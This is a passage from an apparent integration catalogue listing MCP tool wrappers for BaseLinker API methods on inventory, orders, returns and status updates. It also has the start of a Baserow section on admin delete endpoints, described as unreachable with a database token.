method=getInventoryCategories. The method allows you to retrieve a list of categories for a Base catalog. POST /api/v1/baselinker/method/get_inventory_categories. Scopes: api. baselinker_get_inventory_document_file (read) — Get Inventory Document File via POST /connector.php with method=getInventoryDocumentFile. The method allows you to download a warehouse document PDF file. POST /api/v1/baselinker/method/get_inventory_document_file. Scopes: api. baselinker_get_inventory_document_items (read) — Get Inventory Document Items via POST /connector.php with method=getInventoryDocumentItems. This method allows you to retrieve document items for a specific inventory document in Base. In case of a large number of items, pagination is possible. POST /api/v1/baselinker/method/get_inventory_document_items. Scopes: api. baselinker_get_inventory_document_series (read) — Get Inventory Document Series via POST /connector.php with method=getInventoryDocumentSeries. This method allows you to retrieve information about available inventory document series in Base. Each series can be linked to a specific warehouse and can have its own numbering format settings. POST /api/v1/baselinker/method/get_inventory_document_series. Scopes: api. baselinker_get_inventory_documents (read) — Get Inventory Documents via POST /connector.php with method=getInventoryDocuments. This method allows you to retrieve a list of inventory documents from Base. It supports pagination and optional filtering by document type, date range, etc. POST /api/v1/baselinker/method/get_inventory_documents. Scopes: api. baselinker_get_inventory_extra_fields (read) — Get Inventory Extra Fields via POST /connector.php with method=getInventoryExtraFields. The method allows you to retrieve a list of extra fields for a BaseLinker catalog. POST /api/v1/baselinker/method/get_inventory_extra_fields. Scopes: api. baselinker_get_inventory_fulfillment_deliveries (read) — Get Inventory Fulfillment Deliveries via POST /connector.php with method=getInventoryFulfillmentDeliveries. The method allows you to retrieve a list of fulfillment deliveries with optional filtering. Results are paginated with 100 results per page. POST /api/v1/baselinker/method/get_inventory_fulfillment_deliveries. Scopes: api. baselinker_get_inventory_fulfillment_delivery_items (read) — Get Inventory Fulfillment Delivery Items via POST /connector.php with method=getInventoryFulfillmentDeliveryItems. The method allows you to retrieve items from a specific fulfillment delivery. Results are paginated with 100 results per page. POST /api/v1/baselinker/method/get_inventory_fulfillment_delivery_items. Scopes: api. baselinker_get_inventory_fulfillment_delivery_labels (read) — Get Inventory Fulfillment Delivery Labels via POST /connector.php with method=getInventoryFulfillmentDeliveryLabels. The method allows you to download labels of a selected type for a specific fulfillment delivery. POST /api/v1/baselinker/method/get_inventory_fulfillment_delivery_labels. Scopes: api. baselinker_get_inventory_integrations (read) — Get Inventory Integrations via POST /connector.php with method=getInventoryIntegrations. The method returns a list of integrations where text values in the catalog can be overwritten. The returned data contains a list of accounts for each integration and a list of languages supported by the integration POST /api/v1/baselinker/method/get_inventory_integrations. Scopes: api. baselinker_get_inventory_manufacturers (read) — Get Inventory Manufacturers via POST /connector.php with method=getInventoryManufacturers. The method allows you to retrieve a list of manufacturers for a Base catalog. Results can be paginated by providing the page parameter (1000 manufacturers per page). Without the page parameter, up to 10000 manufacturers are returned. POST /api/v1/baselinker/method/get_inventory_manufacturers. Scopes: api. baselinker_get_inventory_map_details (read) — Get Inventory Map Details via POST /connector.php with method=getInventoryMapDetails. The method returns detailed information about a specific warehouse map, including the full JSON representation of the visual map layout. POST /api/v1/baselinker/method/get_inventory_map_details. Scopes: api. baselinker_get_inventory_maps (read) — Get Inventory Maps via POST /connector.php with method=getInventoryMaps. The method allows you to retrieve a list of warehouse maps available in the Base inventory system. Each warehouse map represents a location with assigned warehouses and an optional visual map layout. POST /api/v1/baselinker/method/get_inventory_maps. Scopes: api. baselinker_get_inventory_payers (read) — Get Inventory Payers via POST /connector.php with method=getInventoryPayers. The method allows you to retrieve a list of payers available in BaseLinker storage. POST /api/v1/baselinker/method/get_inventory_payers. Scopes: api. baselinker_get_inventory_price_groups (read) — Get Inventory Price Groups via POST /connector.php with method=getInventoryPriceGroups. The method allows to retrieve price groups existing in Base storage. POST /api/v1/baselinker/method/get_inventory_price_groups. Scopes: api. baselinker_get_inventory_printout_templates (read) — Get Inventory Printout Templates via POST /connector.php with method=getInventoryPrintoutTemplates. Returns a list of all configured printout templates available for inventory (products). POST /api/v1/baselinker/method/get_inventory_printout_templates. Scopes: api. baselinker_get_inventory_product_logs (read) — Get Inventory Product Logs via POST /connector.php with method=getInventoryProductLogs. The method allows to retrieve a list of events related to product change (or their variants) in the Base catalog. POST /api/v1/baselinker/method/get_inventory_product_logs. Scopes: api. baselinker_get_inventory_products_data (read) — Get Inventory Products Data via POST /connector.php with method=getInventoryProductsData. The method allows you to retrieve detailed data for selected products from the Base inventory. POST /api/v1/baselinker/method/get_inventory_products_data. Scopes: api. baselinker_get_inventory_products_list (read) — Get Inventory Products List via POST /connector.php with method=getInventoryProductsList. The method allows to retrieve a basic data of chosen products from Base catalogs. POST /api/v1/baselinker/method/get_inventory_products_list. Scopes: api. baselinker_get_inventory_products_prices (read) — Get Inventory Products Prices via POST /connector.php with method=getInventoryProductsPrices. The method allows to retrieve the gross prices of products from Base inventories. POST /api/v1/baselinker/method/get_inventory_products_prices. Scopes: api. baselinker_get_inventory_products_stock (read) — Get Inventory Products Stock via POST /connector.php with method=getInventoryProductsStock. The method allows you to retrieve stock and reservations data of products from Base catalogs, optionally narrowed down with product filters. POST /api/v1/baselinker/method/get_inventory_products_stock. Scopes: api. baselinker_get_inventory_purchase_order_file (read) — Get Inventory Purchase Order File via POST /connector.php with method=getInventoryPurchaseOrderFile. The method allows you to download a cost invoice PDF file attached to a purchase order. POST /api/v1/baselinker/method/get_inventory_purchase_order_file. Scopes: api. baselinker_get_inventory_purchase_order_items (read) — Get Inventory Purchase Order Items via POST /connector.php with method=getInventoryPurchaseOrderItems. The method allows you to retrieve items from a specific purchase order. POST /api/v1/baselinker/method/get_inventory_purchase_order_items. Scopes: api. baselinker_get_inventory_purchase_order_logs (read) — Get Inventory Purchase Order Logs via POST /connector.php with method=getInventoryPurchaseOrderLogs. Returns a list of log entries for a given purchase order, allowing to track status changes, item modifications, and other events. POST /api/v1/baselinker/method/get_inventory_purchase_order_logs. Scopes: api. baselinker_get_inventory_purchase_order_series (read) — Get Inventory Purchase Order Series via POST /connector.php with method=getInventoryPurchaseOrderSeries. The method allows you to retrieve a list of available purchase order numbering series. Each series is linked to a specific warehouse and defines the numbering format for purchase orders. POST /api/v1/baselinker/method/get_inventory_purchase_order_series. Scopes: api. baselinker_get_inventory_purchase_orders (read) — Get Inventory Purchase Orders via POST /connector.php with method=getInventoryPurchaseOrders. The method allows you to retrieve a list of purchase orders from Base storage. POST /api/v1/baselinker/method/get_inventory_purchase_orders. Scopes: api. baselinker_get_inventory_shipping_templates (read) — Get Inventory Shipping Templates via POST /connector.php with method=getInventoryShippingTemplates. Returns a list of available shipping templates (delivery schemas) for all connected marketplace integrations. Use the returned template IDs when setting the shipping_template parameter in the addInventoryProduct method. POST /api/v1/baselinker/method/get_inventory_shipping_templates. Scopes: api. baselinker_get_inventory_stocktake_items (read) — Get Inventory Stocktake Items via POST /connector.php with method=getInventoryStocktakeItems. The method allows you to retrieve items from a specific stocktake. Supports pagination for stocktakes with a large number of items. POST /api/v1/baselinker/method/get_inventory_stocktake_items. Scopes: api. baselinker_get_inventory_stocktake_series (read) — Get Inventory Stocktake Series via POST /connector.php with method=getInventoryStocktakeSeries. The method allows you to retrieve a list of available stocktake numbering series. Each series is linked to a specific warehouse and defines the numbering format for stocktakes. POST /api/v1/baselinker/method/get_inventory_stocktake_series. Scopes: api. baselinker_get_inventory_stocktakes (read) — Get Inventory Stocktakes via POST /connector.php with method=getInventoryStocktakes. The method allows you to retrieve a paginated list of stocktakes from BaseLinker storage. It supports filtering by stocktake, warehouse, status, series, number, and creation date range. POST /api/v1/baselinker/method/get_inventory_stocktakes. Scopes: api. baselinker_get_inventory_suppliers (read) — Get Inventory Suppliers via POST /connector.php with method=getInventorySuppliers. The method allows you to retrieve a list of suppliers available in BaseLinker storage. POST /api/v1/baselinker/method/get_inventory_suppliers. Scopes: api. baselinker_get_inventory_tags (read) — Get Inventory Tags via POST /connector.php with method=getInventoryTags. The method allows you to retrieve a list of tags for a Base catalog. POST /api/v1/baselinker/method/get_inventory_tags. Scopes: api. baselinker_get_inventory_transfer_items (read) — Get Inventory Transfer Items via POST /connector.php with method=getInventoryTransferItems. The method allows you to retrieve items from a specific inventory transfer. Supports pagination for transfers with a large number of items. POST /api/v1/baselinker/method/get_inventory_transfer_items. Scopes: api. baselinker_get_inventory_transfer_series (read) — Get Inventory Transfer Series via POST /connector.php with method=getInventoryTransferSeries. The method allows you to retrieve a list of available transfer numbering series. Each series is linked to a specific warehouse and defines the numbering format for transfers. POST /api/v1/baselinker/method/get_inventory_transfer_series. Scopes: api. baselinker_get_inventory_transfers (read) — Get Inventory Transfers via POST /connector.php with method=getInventoryTransfers. The method allows you to retrieve a list of inventory transfers from BaseLinker storage. It supports pagination and optional filtering by status, warehouse, date range, and transfer type. POST /api/v1/baselinker/method/get_inventory_transfers. Scopes: api. baselinker_get_inventory_warehouse_location_types (read) — Get Inventory Warehouse Location Types via POST /connector.php with method=getInventoryWarehouseLocationTypes. The method allows you to retrieve the list of warehouse location types. The returned list is sorted alphabetically by name. POST /api/v1/baselinker/method/get_inventory_warehouse_location_types. Scopes: api. baselinker_get_inventory_warehouse_locations (read) — Get Inventory Warehouse Locations via POST /connector.php with method=getInventoryWarehouseLocations. The method allows you to retrieve the list of warehouse locations (slots/bins) defined for a given Base inventory warehouse. Locations are returned in pages of 100 entries, sorted by name. POST /api/v1/baselinker/method/get_inventory_warehouse_locations. Scopes: api. baselinker_get_inventory_warehouse_racks (read) — Get Inventory Warehouse Racks via POST /connector.php with method=getInventoryWarehouseRacks. The method allows you to retrieve the list of warehouse racks. The returned list is sorted alphabetically by name. POST /api/v1/baselinker/method/get_inventory_warehouse_racks. Scopes: api. baselinker_get_inventory_warehouse_zones (read) — Get Inventory Warehouse Zones via POST /connector.php with method=getInventoryWarehouseZones. The method allows you to retrieve the list of warehouse zones. The returned list is sorted alphabetically by name. POST /api/v1/baselinker/method/get_inventory_warehouse_zones. Scopes: api. baselinker_get_inventory_warehouses (read) — Get Inventory Warehouses via POST /connector.php with method=getInventoryWarehouses. The method allows you to retrieve a list of warehouses available in Base inventories. The method also returns information about the warehouses created automatically for the purpose of keeping external stocks (shops, wholesalers etc.) POST /api/v1/baselinker/method/get_inventory_warehouses. Scopes: api. baselinker_get_invoice_file (read) — Get Invoice File via POST /connector.php with method=getInvoiceFile. The method allows you to get the invoice file from Base. POST /api/v1/baselinker/method/get_invoice_file. Scopes: api. baselinker_get_invoices (read) — Get Invoices via POST /connector.php with method=getInvoices. The method allows you to download invoices issued from the Base order manager. The list of invoices can be limited using filters described in the method parameters. Maximum 100 invoices are returned at a time. POST /api/v1/baselinker/method/get_invoices. Scopes: api. baselinker_get_journal_list (read) — Get Journal List via POST /connector.php with method=getJournalList. The method allows you to download a list of order events from the last 3 days. If this method is not enabled for your account, it may return an empty response - in such case, make sure it is enabled in your account API settings. If you cannot enable it in the panel, please contact Base support. POST /api/v1/baselinker/method/get_journal_list. Scopes: api. baselinker_get_label (read) — Get Label via POST /connector.php with method=getLabel. The method allows you to download a shipping label (consignment) for a selected shipment. POST /api/v1/baselinker/method/get_label. Scopes: api. baselinker_get_new_receipts (read) — Get New Receipts via POST /connector.php with method=getNewReceipts. The method allows you to retrieve receipts waiting to be issued. This method should be used in creating integration with a fiscal printer. The method can be requested for new receipts every e.g. 10 seconds. If any receipts appear in response, they should be confirmed by the setOrderReceipt method after printing to disappear from the waiting list. POST /api/v1/baselinker/method/get_new_receipts. Scopes: api. baselinker_get_order_extra_fields (read) — Get Order Extra Fields via POST /connector.php with method=getOrderExtraFields. The method returns extra fields defined for the orders. Values of those fields can be set with method **setOrderFields**. In order to retrieve values of those fields set parameter include_custom_extra_fields in method **getOrders** POST /api/v1/baselinker/method/get_order_extra_fields. Scopes: api. baselinker_get_order_packages (read) — Get Order Packages via POST /connector.php with method=getOrderPackages. The method allows you to download shipments previously created for the selected order. POST /api/v1/baselinker/method/get_order_packages. Scopes: api. baselinker_get_order_payments_history (read) — Get Order Payments History via POST /connector.php with method=getOrderPaymentsHistory. The method allows you to retrieve payment history for a selected order, including an external payment identifier from the payment gateway. One order can have multiple payment history entries, caused by surcharges, order value changes, manual payment editing POST /api/v1/baselinker/method/get_order_payments_history. Scopes: api. baselinker_get_order_pick_lists (read) — Get Order Pick Lists via POST /connector.php with method=getOrderPickLists. Returns up to 100 paper pick lists belonging to the authenticated user. Results are sorted by pick_list_id. You can filter them by pick_list_id or id_from. POST /api/v1/baselinker/method/get_order_pick_lists. Scopes: api. baselinker_get_order_pick_pack_history (read) — Get Order Pick Pack History via POST /connector.php with method=getOrderPickPackHistory. The method allows you to retrieve pick pack history for a selected order. POST /api/v1/baselinker/method/get_order_pick_pack_history. Scopes: api. baselinker_get_order_printout_templates (read) — Get Order Printout Templates via POST /connector.php with method=getOrderPrintoutTemplates. Returns a list of all configured printout templates available for orders. The output includes technical identifiers used when executing a printout. POST /api/v1/baselinker/method/get_order_printout_templates. Scopes: api. baselinker_get_order_return_extra_fields (read) — Get Order Return Extra Fields via POST /connector.php with method=getOrderReturnExtraFields. The method returns extra fields defined for order returns. Values of those fields can be set with method setOrderReturnFields. To retrieve values of those fields set parameter include_custom_extra_fields in method getOrderReturns POST /api/v1/baselinker/method/get_order_return_extra_fields. Scopes: api. baselinker_get_order_return_journal_list (read) — Get Order Return Journal List via POST /connector.php with method=getOrderReturnJournalList. The method allows you to download a list of return events from the last 3 days. POST /api/v1/baselinker/method/get_order_return_journal_list. Scopes: api. baselinker_get_order_return_payments_history (read) — Get Order Return Payments History via POST /connector.php with method=getOrderReturnPaymentsHistory. The method allows you to retrieve payment history for a selected order, including an external payment identifier from the payment gateway. One order can have multiple payment history entries, caused by surcharges, order value changes, manual payment editing POST /api/v1/baselinker/method/get_order_return_payments_history. Scopes: api. baselinker_get_order_return_product_statuses (read) — Get Order Return Product Statuses via POST /connector.php with method=getOrderReturnProductStatuses. The method returns a list of order return item statuses. Values of those fields can be set with method setOrderReturnFields. POST /api/v1/baselinker/method/get_order_return_product_statuses. Scopes: api. baselinker_get_order_return_reasons_list (read) — Get Order Return Reasons List via POST /connector.php with method=getOrderReturnReasonsList. The method returns a list of order return reasons. Values of those fields can be set with method setOrderReturnFields. POST /api/v1/baselinker/method/get_order_return_reasons_list. Scopes: api. baselinker_get_order_return_status_groups (read) — Get Order Return Status Groups via POST /connector.php with method=getOrderReturnStatusGroups. Returns the list of order return status groups. Status groups are used to visually organize return statuses in the panel sidebar. POST /api/v1/baselinker/method/get_order_return_status_groups. Scopes: api. baselinker_get_order_return_status_list (read) — Get Order Return Status List via POST /connector.php with method=getOrderReturnStatusList. Returns order return statuses created by the user in the order manager. POST /api/v1/baselinker/method/get_order_return_status_list. Scopes: api. baselinker_get_order_returns (read) — Get Order Returns via POST /connector.php with method=getOrderReturns. The method allows you to download order returns from a specific date from the Base return manager. The return list can be limited using the filters described in the method parameters. A maximum of 100 order returns are returned at a time. POST /api/v1/baselinker/method/get_order_returns. Scopes: api. baselinker_get_order_sources (read) — Get Order Sources via POST /connector.php with method=getOrderSources. The method returns types of order sources along with their IDs. Order sources are grouped by their type that corresponds to a field order_source from the getOrders method. Available source types are "personal", "shop", "order_return" or "marketplace_code" e.g. "ebay", "amazon", "ceneo", "emag", "allegro", etc. POST /api/v1/baselinker/method/get_order_sources. Scopes: api. baselinker_get_order_status_groups (read) — Get Order Status Groups via POST /connector.php with method=getOrderStatusGroups. Returns the list of order status groups. Status groups are used to visually organize statuses in the panel sidebar. POST /api/v1/baselinker/method/get_order_status_groups. Scopes: api. baselinker_get_order_status_list (read) — Get Order Status List via POST /connector.php with method=getOrderStatusList. Returns order statuses created by the user in the order manager. POST /api/v1/baselinker/method/get_order_status_list. Scopes: api. baselinker_get_order_transaction_data (read) — Get Order Transaction Data via POST /connector.php with method=getOrderTransactionData. The method allows you to retrieve transaction details for a selected order POST /api/v1/baselinker/method/get_order_transaction_data. Scopes: api. baselinker_get_orders (read) — Get Orders via POST /connector.php with method=getOrders. The method allows you to download orders from a specific date from the Base order manager. The order list can be limited using the filters described in the method parameters. A maximum of 100 orders are returned at a time. It is recommended to download only confirmed orders (get_unconfirmed_orders = false). Unconfirmed orders may be incomplete. The user may be, for example, in the process of creating an order - it already exists in the database, but not all information is completed. Unconfirmed orders may contain only a partial list of products and may be changed soon. Confirmed orders usually do not change anymore and can be safely downloaded to an external system. The best way to download the ongoing orders is: Collecting new order identifiers using getJournalList. Or, using this method: 1. Setting the starting date and specifying it in the date_confirmed_from field 2. Processing of all received orders. If 100 orders are received, there may be even more to download. 3. Downloading the next package of orders by entering the value of the date_confirmed field from last downloaded order in the date_confirmed_from field. In order to avoid downloading the same orders value of date_confirmed should be increased by 1 second. This operation is repeated until you receive a package with less than 100 orders (this means that there are no more orders left to download). 4. Saving the date_confirmed last processed order. You can download orders from this date onwards so that you do not download the same order twice. It is not possible for an order to 'jump' into the database with an earlier confirmation date. This way you can be sure that all confirmed orders have been downloaded. POST /api/v1/baselinker/method/get_orders. Scopes: api. baselinker_get_orders_by_email (read) — Get Orders By Email via POST /connector.php with method=getOrdersByEmail. The method allows to search for orders related to the given e-mail address. This function is designed to be used in plugins for mail clients (Thunderbird, Outlook, etc.). POST /api/v1/baselinker/method/get_orders_by_email. Scopes: api. baselinker_get_orders_by_phone (read) — Get Orders By Phone via POST /connector.php with method=getOrdersByPhone. The method allows you to search for orders related to the given phone number. This function is intended for use in caller recognition programs. POST /api/v1/baselinker/method/get_orders_by_phone. Scopes: api. baselinker_get_package_details (read) — Get Package Details via POST /connector.php with method=getPackageDetails. This method allows to get detailed information about a package. If the package contains multiple subpackages, information about all of them is included in the response. POST /api/v1/baselinker/method/get_package_details. Scopes: api. baselinker_get_pick_pack_cart_orders (read) — Get Pick Pack Cart Orders via POST /connector.php with method=getPickPackCartOrders. Retrieves all orders assigned to a specific PickPack cart. Returns all order IDs in reverse chronological order (most recently assigned first) without any pagination restrictions. POST /api/v1/baselinker/method/get_pick_pack_cart_orders. Scopes: api. baselinker_get_pick_pack_carts (read) — Get Pick Pack Carts via POST /connector.php with method=getPickPackCarts. The method allows you to retrieve a list of all PickPack carts belonging to the authenticated user. The method returns cart details including ID, name, color. POST /api/v1/baselinker/method/get_pick_pack_carts. Scopes: api. baselinker_get_pick_pack_order_cart (read) — Get Pick Pack Order Cart via POST /connector.php with method=getPickPackOrderCart. The method allows you to retrieve cart assignment information for a single order in the PickPack system. The method returns which cart (if any) the order is currently assigned to, along with cart details. The method uses singular naming since it handles a single order and its cart assignment. POST /api/v1/baselinker/method/get_pick_pack_order_cart. Scopes: api. baselinker_get_protocol (read) — Get Protocol via POST /connector.php with method=getProtocol. The method allows you to download a parcel protocol for selected shipments if the protocol is available for chosen courier POST /api/v1/baselinker/method/get_protocol. Scopes: api. baselinker_get_receipt (read) — Get Receipt via POST /connector.php with method=getReceipt. The method allows you to retrieve a single receipt from the Base order manager. To retrieve a list of new receipts (when integrating a fiscal printer), use the getNewReceipts method. POST /api/v1/baselinker/method/get_receipt. Scopes: api. baselinker_get_receipts (read) — Get Receipts via POST /connector.php with method=getReceipts. The method allows you to retrieve issued receipts. Max 100 receipts are returned at a time. To retrieve a list of new receipts (when integrating a fiscal printer), use the getNewReceipts method. POST /api/v1/baselinker/method/get_receipts. Scopes: api. baselinker_get_request_parcel_pickup_fields (read) — Get Request Parcel Pickup Fields via POST /connector.php with method=getRequestParcelPickupFields. The method allows you to retrieve additional fields for a parcel pickup request. POST /api/v1/baselinker/method/get_request_parcel_pickup_fields. Scopes: api. baselinker_get_series (read) — Get Series via POST /connector.php with method=getSeries. The method allows to download a series of invoice/receipt numbering. POST /api/v1/baselinker/method/get_series. Scopes: api. baselinker_run_inventory_fulfillment_delivery_submission (write) — Run Inventory Fulfillment Delivery Submission via POST /connector.php with method=runInventoryFulfillmentDeliverySubmission. The method allows you to submit (register) a fulfillment delivery in draft or packing status. Products are treated as packed in simple packing mode and the shipment is registered in the fulfillment center. Optionally accepts date_arrival (unix timestamp) as the expected arrival date when required by the fulfillment integration. Currently supported for selected fulfillment integrations with simple packing mode. POST /api/v1/baselinker/method/run_inventory_fulfillment_delivery_submission. Scopes: api. baselinker_run_order_macro_trigger (write) — Run Order Macro Trigger via POST /connector.php with method=runOrderMacroTrigger. The method allows you to run personal trigger for orders automatic actions. POST /api/v1/baselinker/method/run_order_macro_trigger. Scopes: api. baselinker_run_order_return_macro_trigger (write) — Run Order Return Macro Trigger via POST /connector.php with method=runOrderReturnMacroTrigger. The method allows you to run personal trigger for order returns automatic actions. POST /api/v1/baselinker/method/run_order_return_macro_trigger. Scopes: api. baselinker_run_product_macro_trigger (write) — Run Product Macro Trigger via POST /connector.php with method=runProductMacroTrigger. The method allows you to run personal trigger for products automatic actions. POST /api/v1/baselinker/method/run_product_macro_trigger. Scopes: api. baselinker_run_request_parcel_pickup (write) — Run Request Parcel Pickup via POST /connector.php with method=runRequestParcelPickup. The method allows you to request a parcel pickup for previously created shipments. The method sends a parcel pickup request to courier API if the courier API allows it POST /api/v1/baselinker/method/run_request_parcel_pickup. Scopes: api. baselinker_set_connect_contractor_credit_limit (write) — Set Connect Contractor Credit Limit via POST /connector.php with method=setConnectContractorCreditLimit. The method allows you to set new trade credit limit for chosen contractor POST /api/v1/baselinker/method/set_connect_contractor_credit_limit. Scopes: api. baselinker_set_inventory_document_status_confirmed (write) — Set Inventory Document Status Confirmed via POST /connector.php with method=setInventoryDocumentStatusConfirmed. The method allows you to confirm an inventory document, which will affect the stock levels in the warehouse. POST /api/v1/baselinker/method/set_inventory_document_status_confirmed. Scopes: api. baselinker_set_inventory_purchase_order_status (write) — Set Inventory Purchase Order Status via POST /connector.php with method=setInventoryPurchaseOrderStatus. The method allows you to change the status of a purchase order. POST /api/v1/baselinker/method/set_inventory_purchase_order_status. Scopes: api. baselinker_set_inventory_stocktake_status (write) — Set Inventory Stocktake Status via POST /connector.php with method=setInventoryStocktakeStatus. The method allows you to change the status of a stocktake. When completing a stocktake, verified quantities are applied to warehouse stock and corresponding documents are generated. POST /api/v1/baselinker/method/set_inventory_stocktake_status. Scopes: api. baselinker_set_inventory_transfer_status (write) — Set Inventory Transfer Status via POST /connector.php with method=setInventoryTransferStatus. The method allows you to change the status of an inventory transfer. When completing it, unverified items omitted from completed_items are marked as missing goods. POST /api/v1/baselinker/method/set_inventory_transfer_status. Scopes: api. baselinker_set_order_fields (write) — Set Order Fields via POST /connector.php with method=setOrderFields. The method allows you to edit selected fields (e.g. address data, notes, etc.) of a specific order. Only the fields that you want to edit should be given, other fields can be omitted in the request. POST /api/v1/baselinker/method/set_order_fields. Scopes: api. baselinker_set_order_payment (write) — Set Order Payment via POST /connector.php with method=setOrderPayment. The method allows you to add a payment to the order. POST /api/v1/baselinker/method/set_order_payment. Scopes: api. baselinker_set_order_product_fields (write) — Set Order Product Fields via POST /connector.php with method=setOrderProductFields. The method allows you to edit the data of selected items (e.g. prices, quantities etc.) of a specific order. Only the fields that you want to edit should be given, the remaining fields can be omitted in the request. POST /api/v1/baselinker/method/set_order_product_fields. Scopes: api. baselinker_set_order_receipt (write) — Set Order Receipt via POST /connector.php with method=setOrderReceipt. The method allows you to mark orders with a receipt already issued. POST /api/v1/baselinker/method/set_order_receipt. Scopes: api. baselinker_set_order_return_fields (write) — Set Order Return Fields via POST /connector.php with method=setOrderReturnFields. The method allows you to edit selected fields of a specific order return. Only the fields that you want to edit should be given, other fields can be omitted in the request. POST /api/v1/baselinker/method/set_order_return_fields. Scopes: api. baselinker_set_order_return_product_fields (write) — Set Order Return Product Fields via POST /connector.php with method=setOrderReturnProductFields. The method allows you to edit the data of selected items (e.g. prices, quantities etc.) of a specific order. Only the fields that you want to edit should be given, the remaining fields can be omitted in the request. POST /api/v1/baselinker/method/set_order_return_product_fields. Scopes: api. baselinker_set_order_return_refund (write) — Set Order Return Refund via POST /connector.php with method=setOrderReturnRefund. The method allows you to mark an order return as refunded. Note this method doesn't issue an actual money refund. POST /api/v1/baselinker/method/set_order_return_refund. Scopes: api. baselinker_set_order_return_status (write) — Set Order Return Status via POST /connector.php with method=setOrderReturnStatus. The method allows you to change order return status. POST /api/v1/baselinker/method/set_order_return_status. Scopes: api. baselinker_set_order_return_statuses (write) — Set Order Return Statuses via POST /connector.php with method=setOrderReturnStatuses. The method allows you to batch set order return statuses. POST /api/v1/baselinker/method/set_order_return_statuses. Scopes: api. baselinker_set_order_status (write) — Set Order Status via POST /connector.php with method=setOrderStatus. The method allows you to change order status. POST /api/v1/baselinker/method/set_order_status. Scopes: api. baselinker_set_order_statuses (write) — Set Order Statuses via POST /connector.php with method=setOrderStatuses. The method allows you to batch set orders statuses POST /api/v1/baselinker/method/set_order_statuses. Scopes: api. baselinker_set_orders_merge (write) — Set Orders Merge via POST /connector.php with method=setOrdersMerge. Merges multiple orders into one, based on the selected merge mode. POST /api/v1/baselinker/method/set_orders_merge. Scopes: api. baselinker_update_external_storage_products_quantity (write) — Update External Storage Products Quantity via POST /connector.php with method=updateExternalStorageProductsQuantity. The method allows to bulk update the product stock (and/or variants) in an external storage (shop/wholesaler) connected to BaseLinker. Maximum 1000 products at a time. POST /api/v1/baselinker/method/update_external_storage_products_quantity. Scopes: api. baselinker_update_inventory_products_prices (write) — Update Inventory Products Prices via POST /connector.php with method=updateInventoryProductsPrices. The method allows bulk update of gross prices of products (and/or their variants) in the Base catalog. Maximum 1000 products at a time. POST /api/v1/baselinker/method/update_inventory_products_prices. Scopes: api. baselinker_update_inventory_products_stock (write) — Update Inventory Products Stock via POST /connector.php with method=updateInventoryProductsStock. The method allows to update stocks of products (and/or their variants) in Base catalog. Maximum 1000 products at a time. POST /api/v1/baselinker/method/update_inventory_products_stock. Scopes: api. ================================================================================ ## Baserow URL: https://www.agenticfabriq.com/integrations/baserow Section: Integrated Tools Baserow — 414 MCP tools Provider key: baserow. Scopes: api, create, delete, read, update. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. baserow_delete_api_admin_auth_provider_by_auth_provider_id (write, destructive) — Delete auth provider Delete an authentication provider. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/admin/auth-provider/{auth_provider_id}/ DELETE /api/v1/baserow/api/admin/auth-provider/{auth_provider_id}/. Scopes: api. baserow_delete_api_admin_data_scanner_results_by_result_id (write, destructive) — Admin data scanner delete result Deletes (resolves) a single data scan result, marking it as reviewed. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/admin/data-scanner/results/{result_id}/ DELETE /api/v1/baserow/api/admin/data-scanner/results/{result_id}/. Scopes: api. baserow_delete_api_admin_data_scanner_scans_by_scan_id (write, destructive) — Admin data scanner delete scan Deletes a data scan and all of its results. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/admin/data-scanner/scans/{scan_id}/ DELETE /api/v1/baserow/api/admin/data-scanner/scans/{scan_id}/. Scopes: api. baserow_delete_api_admin_users_by_user_id (write, destructive) — Admin delete user Deletes the specified user, if the requesting user has admin permissions. You cannot delete yourself. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/admin/users/{user_id}/ DELETE /api/v1/baserow/api/admin/users/{user_id}/. Scopes: api. baserow_delete_api_admin_users_by_user_id_two_factor_auth (write, destructive) — Admin disable user two factor auth Removes the configured two-factor authentication of the specified user, if the requesting user is staff. This can be used to restore access for users that lost their two-factor device and backup codes. The user will be able to log in with just their password and can configure two-factor authentication again afterwards. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/admin/users/{user_id}/two-factor-auth/ DELETE /api/v1/baserow/api/admin/users/{user_id}/two-factor-auth/. Scopes: api. baserow_delete_api_admin_workspaces_by_workspace_id (write, destructive) — Admin delete workspace Deletes the specified workspace and the applications inside that workspace, if the requesting user is staff. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/admin/workspaces/{workspace_id}/ DELETE /api/v1/baserow/api/admin/workspaces/{workspace_id}/. Scopes: api. baserow_delete_api_ai_providers_by_provider_id (write, destructive) — Delete ai provider NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/ai-providers/{provider_id}/ DELETE /api/v1/baserow/api/ai-providers/{provider_id}/. Scopes: api. baserow_delete_api_ai_providers_models_by_model_id (write, destructive) — Delete ai provider model NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/ai-providers/models/{model_id}/ DELETE /api/v1/baserow/api/ai-providers/models/{model_id}/. Scopes: api. baserow_delete_api_applications_by_application_id (write, destructive) — Workspace delete application Deletes an application if the authorized user is in the application's workspace. All the related children are also going to be deleted. For example in case of a database application all the underlying tables, fields, views and rows are going to be deleted. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/applications/{application_id}/ DELETE /api/v1/baserow/api/applications/{application_id}/. Scopes: api. baserow_delete_api_automation_node_by_node_id (write, destructive) — Delete automation node Deletes an existing automation node. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/automation/node/{node_id}/ 